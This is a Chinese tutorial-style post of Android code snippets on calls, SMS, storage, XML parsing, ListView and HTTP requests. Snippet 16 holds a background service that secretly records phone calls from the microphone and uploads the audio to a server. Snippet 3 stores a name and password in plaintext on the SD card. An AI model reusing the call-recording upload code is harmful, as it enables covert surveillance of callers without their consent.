android小知识点代码片段
Posted z_fishLong
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了android小知识点代码片段相关的知识,希望对你有一定的参考价值。
- 1 拨打电话的操作 播打电话号码
Intent intent = new Intent(); intent.setAction(Intent.ACTION_CALL); intent.setData(Uri.parse("tel:"+number)); startActivity(intent);
2 发送短信的操作 短信过长时 拆分短信 一条短信最大的文本长度 是多少 ? 中文 70 汉字 英文 160字符
SmsManager smsmanager = SmsManager.getDefault(); /* *sentIntent, deliveryIntent延期的意图 , *sentintent 发送报告 *deliveryIntent 送达报告 */ ArrayList<String> messages = smsmanager.divideMessage(content); for(String message : messages){ smsmanager.sendTextMessage(number, null, message, null, null); }
3.检测sd卡状态,并往sd卡中写数据。需要权限
//MEDIA_UNKNOWN:不能识别sd卡 //MEDIA_REMOVED:没有sd卡 //MEDIA_UNMOUNTED:sd卡存在但是没有挂载 //MEDIA_CHECKING:sd卡正在准备 //MEDIA_MOUNTED:sd卡已经挂载,可用 if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) //返回一个File对象,其路径是sd卡的真实路径 File file = new File(Environment.getExternalStorageDirectory(), "info.txt"); FileOutputStream fos; try { fos = new FileOutputStream(file); fos.write((name + "##" + pass).getBytes()); fos.close(); } catch (Exception e) { e.printStackTrace(); } } else{ Toast.makeText(this, "sd卡不可用哟亲么么哒", 0).show(); } }
4.判断sd卡剩余容量。
File path = Environment.getExternalStorageDirectory(); StatFs stat = new StatFs(path.getPath()); long blockSize; long totalBlocks; long availableBlocks; //获取当前系统版本的等级 if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR2){ //4.3版本后开始起作用 blockSize = stat.getBlockSizeLong(); totalBlocks = stat.getBlockCountLong(); availableBlocks = stat.getAvailableBlocksLong(); } else{ //否则使用旧的api blockSize = stat.getBlockSize(); totalBlocks = stat.getBlockCount(); availableBlocks = stat.getAvailableBlocks(); } TextView tv = (TextView) findViewById(R.id.tv); tv.setText(formatSize(availableBlocks * blockSize));
5使用xml序列化器生成xml文件
//1.拿到序列化器对象 XmlSerializer xs = Xml.newSerializer(); //2.初始化 File file = new File("sdcard/sms2.xml"); try { FileOutputStream fos = new FileOutputStream(file); //enconding:指定用什么编码生成xml文件 xs.setOutput(fos, "utf-8"); //3.开始生成xml文件 //enconding:指定头结点中的enconding属性的值 xs.startDocument("utf-8", true); xs.startTag(null, "message"); for (Message sms : smsList) { xs.startTag(null, "sms"); xs.startTag(null, "body"); xs.text(sms.getBody() + "<body>"); xs.endTag(null, "body"); xs.startTag(null, "date"); xs.text(sms.getDate()); xs.endTag(null, "date"); xs.startTag(null, "type"); xs.text(sms.getType()); xs.endTag(null, "type"); xs.startTag(null, "address"); xs.text(sms.getAddress()); xs.endTag(null, "address"); xs.endTag(null, "sms"); } xs.endTag(null, "message"); //告诉序列化器,文件生成完毕 xs.endDocument(); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); }
6.解析xml文件
//获取到src文件夹下的资源文件 InputStream is = getClassLoader().getResourceAsStream("weather.xml"); //拿到pull解析器对象 XmlPullParser xp = Xml.newPullParser(); //初始化 try { xp.setInput(is, "gbk"); //获取当前节点的事件类型,通过事件类型的判断,我们可以知道当前节点是什么节点,从而确定我们应该做什么操作 int type = xp.getEventType(); City city = null; while(type != XmlPullParser.END_DOCUMENT){ //根据节点的类型,要做不同的操作 switch (type) { case XmlPullParser.START_TAG: // 获取当前节点的名字 if("weather".equals(xp.getName())){ //创建city集合对象,用于存放city的javabean cityList = new ArrayList<City>(); } else if("city".equals(xp.getName())){ //创建city的javabean对象 city = new City(); } else if("name".equals(xp.getName())){ // 获取当前节点的下一个节点的文本 String name = xp.nextText(); city.setName(name); } else if("temp".equals(xp.getName())){ // 获取当前节点的下一个节点的文本 } else if("pm".equals(xp.getName())){ // 获取当前节点的下一个节点的文本 } break; case XmlPullParser.END_TAG: if("city".equals(xp.getName())){ } break; } //把指针移动到下一个节点,并返回该节点的事件类型 type = xp.next(); } } catch (Exception e) { e.printStackTrace(); }
7 listview优化
1)复用convertView View v = null; //判断条目是否有缓存 if(convertView == null){ //把布局文件填充成一个View对象 v = View.inflate(MainActivity.this, R.layout.item_listview, null); }else{ v = convertView; } 2)利用viewHolder,返回一个View对象,作为listview的条目显示至界面 public View getView(int position, View convertView, ViewGroup parent) { News news = newsList.get(position); View v = null; ViewHolder mHolder; if(convertView == null){ v = View.inflate(MainActivity.this, R.layout.item_listview, null); mHolder = new ViewHolder(); //把布局文件中所有组件的对象封装至ViewHolder对象中 mHolder.tv_title = (TextView) v.findViewById(R.id.tv_title); mHolder.tv_detail = (TextView) v.findViewById(R.id.tv_detail); mHolder.tv_comment = (TextView) v.findViewById(R.id.tv_comment); mHolder.siv = (SmartImageView) v.findViewById(R.id.iv); //把ViewHolder对象封装至View对象中 v.setTag(mHolder); }else{ v = convertView; mHolder = (ViewHolder) v.getTag(); } //给三个文本框设置内容 mHolder.tv_title.setText(news.getTitle()); mHolder.tv_detail.setText(news.getDetail()); mHolder.tv_comment.setText(news.getComment() + "条评论"); //给新闻图片imageview设置内容 mHolder.siv.setImageUrl(news.getImageUrl()); return v; } class ViewHolder{ //条目的布局文件中有什么组件,这里就定义什么属性 TextView tv_title; TextView tv_detail; TextView tv_comment; SmartImageView siv; }
8 junit 测试框架的使用
1)在manifest中添加上下列代码 <instrumentation android:name="android.test.InstrumentationTestRunner" android:targetPackage="自己程序的包名" /> 2)在application下添加以下代码 <uses-library android:name="android.test.runner" /> 3)创建测试类继承AndroidTestCase类 4)编写测试方法
10 采用get方式提交数据 原理:拼装url
String param1 = URLEncoder.encode(name); String param2 = URLEncoder.encode(password); URL url = new URL(path + "?name=" + param1 + "&password=" + param2); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("GET"); conn.setReadTimeout(5000); // 数据并没有发送给服务器 // 获取服务器返回的流信息 InputStream is = conn.getInputStream();
11 提交中文时会产生乱码问题
1)服务器端问题 Tomcat 默认编码为iso8859-1 而提交的数据编码为utf-8 处理方法:服务器端onPost方法中 Sring name=request.getParameter("name"); if(name!=null){ name=new String(name.getBytes("iso8859-1"),"utf-8"); } 2)安卓端的问题 提交的url中文要编码 解决办法 String param1 = URLEncoder.encode(name); String param2 = URLEncoder.encode(password); URL url = new URL(path + "?name=" + param1 + "&password=" + param2);
12 采用post方法提交数据
1)get 一次提交的数据数据量比较小 4K 内部其实通过组拼url的方式 post 可以提交比较大的数据 form表单的形式 流的方式写到服务器 public static String sendDataByPost(String path, String name,String password) throws Exception { String param1 = URLEncoder.encode(name); String param2 = URLEncoder.encode(password); URL url = new URL(path); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); String data = "name=" + param1 + "&password=" + param2; conn.setRequestMethod("POST"); conn.setConnectTimeout(5000); // 设置 http协议可以向服务器写数据 conn.setDoOutput(true); // 设置http协议的消息头 设置提交的数据类型为表单类型 conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("Content-Length", data.length() + ""); // 把我们准备好的data数据写给服务器 OutputStream os = conn.getOutputStream(); os.write(data.getBytes()); // httpurlconnection 底层实现 outputstream 是一个缓冲输出流 // 只要我们获取任何一个服务器返回的信息 , 数据就会被提交给服务器 , 得到服务器返回的流信息 int code = conn.getResponseCode(); if (code == 200) { InputStream is = conn.getInputStream(); byte[] result = StreamTool.getBytes(is); return new String(result); } else { throw new IllegalStateException("服务器状态异常"); } } 2)处理中文 乱码 String param1 = URLEncoder.encode(name); String param2 = URLEncoder.encode(password); URL url = new URL(path); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); String data = "name=" + param1 + "&password=" + param2;
13 由于面向http协议提交数据很麻烦,所以gogole提供了一套简单api httpclient来模拟浏览器 使用httpclient get方式提交数据
/** * httpclient 浏览器的简单包装 * new HttpClient 就相当于得到了一个浏览器 */ public static String sendDataByHttpClientGet (String path , String name,String password) throws Exception{ //1. 获取到一个浏览器的实例 HttpClient client = new DefaultHttpClient(); //2. 准备请求的地址 String param1 = URLEncoder.encode(name); String param2 = URLEncoder.encode(password); HttpGet httpGet = new HttpGet(path + "?name=" + param1 + "&password=" + param2); //3. 发请求 HttpResponse ressponse = client.execute(httpGet); int code = ressponse.getStatusLine().getStatusCode(); if(code == 200){ InputStream is =ressponse.getEntity().getContent(); byte[] result = StreamTool.getBytes(is); return new String(result); } else{ throw new IllegalStateException("服务器状态异常"); } }
14 采用httpclient post方式提交数据
public static String sendDataByHttpClientPost(String path , String name,String password) throws Exception{ //1. 获取到一个浏览器的实例 HttpClient client = new DefaultHttpClient(); //2. 准备要请求的 数据类型 HttpPost httppost = new HttpPost(path); // 键值对 List< NameValuePair> parameters = new ArrayList<NameValuePair>(); parameters.add(new BasicNameValuePair("name", name)); parameters.add(new BasicNameValuePair("password", password)); UrlEncodedFormEntity entity = new UrlEncodedFormEntity(parameters, "utf-8"); //3.设置post请求的数据实体 httppost.setEntity(entity); //4. 发送数据给服务器 HttpResponse ressponse = client.execute(httppost); int code = ressponse.getStatusLine().getStatusCode(); if(code == 200){ InputStream is =ressponse.getEntity().getContent(); byte[] result = StreamTool.getBytes(is); return new String(result); } else{ throw new IllegalStateException("服务器状态异常"); } }
15 短信监听器获取短信的操作在onreceive方法中
// intent 存放的有接收到的短信的内容 Object[] pdus = (Object[]) intent.getExtras().get("pdus"); for(Object pdu:pdus){ SmsMessage message = SmsMessage.createFromPdu((byte[])pdu); // 获取短信的正文内容 final String content = message.getMessageBody(); //获取短信的发送者 final String address = message.getOriginatingAddress();
16 四大组件service的使用 服务是运行在主线程中的。 AndroidManifest中配置组件
启动服务 : Intent intent = new Intent(this,PhoneListenService.class); startService(intent); 1 在服务里实现电话监听 权限:<uses-permission android:name="android.permission.READ_PHONE_STATE"/> 监听电话状态 <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/> 监听sd卡状态 <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> 写外部存储设备 <uses-permission android:name="android.permission.RECORD_AUDIO"/> 录音 使用mic <uses-permission android:name="android.permission.INTERNET"/> 访问互联网 public class PhoneListenService extends Service { public IBinder onBind(Intent intent) { return null; } //2. onCreate方法在服务第一次被创建的时候 执行 public void onCreate() { super.onCreate(); setForeground(true); //提升为前台进程 // 1. 判断当前手机的状态, // 如果发现手机处于 通话状态 // 创建一个录音器, 录下来用户的通话信息 // 当发现手机再次处于 idle 状态 停止录音机,把音频文件 上传到服务器 // 得到手机与电话状态相关的服务 TelephonyManager manager = (TelephonyManager) this .getSystemService(TELEPHONY_SERVICE); //监听电话状态 manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE); } private class MyPhoneListener extends PhoneStateListener { MediaRecorder recorder = null; /** *当电话的通话状态发生改变的时候 被调用的方法 */ @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state) { case TelephonyManager.CALL_STATE_IDLE: // 当前电话处于闲置状态 System.out.println("当前电话处于闲置状态 "); // 判断下recorder是否为空 if(recorder!=null){ recorder.stop(); recorder.release(); // Now the object cannot be reused recorder = null; new Thread(){ @Override public void run() { // 上传数据到服务器 演示的代码 有问题的 File file = new File("/sdcard/temp.3gp"); try { upload(file); } catch (Exception e) { e.printStackTrace(); } } }.start(); } break; case TelephonyManager.CALL_STATE_RINGING: // 当前电话处于零响状态 System.out.println("电话号码为 " + incomingNumber); break; case TelephonyManager.CALL_STATE_OFFHOOK: // 当前电话处于接听状态 System.out.println("当前电话处于通话状态 "); // 初始化一个录音器, recorder = new MediaRecorder(); recorder.setAudiosource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setOutputFile("/sdcard/temp.3gp"); recorder.prepare(); recorder.start(); // Recording is now started break; } } catch (Exception e) { e.printStackTrace(); } super.onCallStateChanged(state, incomingNumber); } } public void upload(File file) throws Exception{ // 实例化上传数据的 数组 part [] Part[] parts = { new FilePart("file",file)}; PostMethod filePost = new PostMethod("http://192.168.1.247:8080/web/LoginServlet"); filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams())); org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient(); client.getHttpConnectionManager().getParams() .setConnectionTimeout(5000); int status = client.executeMethod(filePost); if(status==200){ System.out.println("上传成功"); } else{ throw new IllegalStateException("服务器状态异常"); } } }
13service的生命周期
oncreate() 服务创建时候调用的方法 onstart() 服务开启时候调用的方法 ondestroy() 服务停止时候调用的方法 两种服务开启方式 1)通过startservice()开始服务 StopService()结束服务。 2)绑定方式 参数 1 intent 2 serviceConnection接口 3 Context.BIND_AUTO_CREATE 绑定的时候服务不存在的时候会自动创建 bindService(service,conn,flags); unBindService
以上是关于android小知识点代码片段的主要内容,如果未能解决你的问题,请参考以下文章
Flutterflutter doctor 报错Android license status unknown. Run `flutter doctor --android-licenses‘(代码片段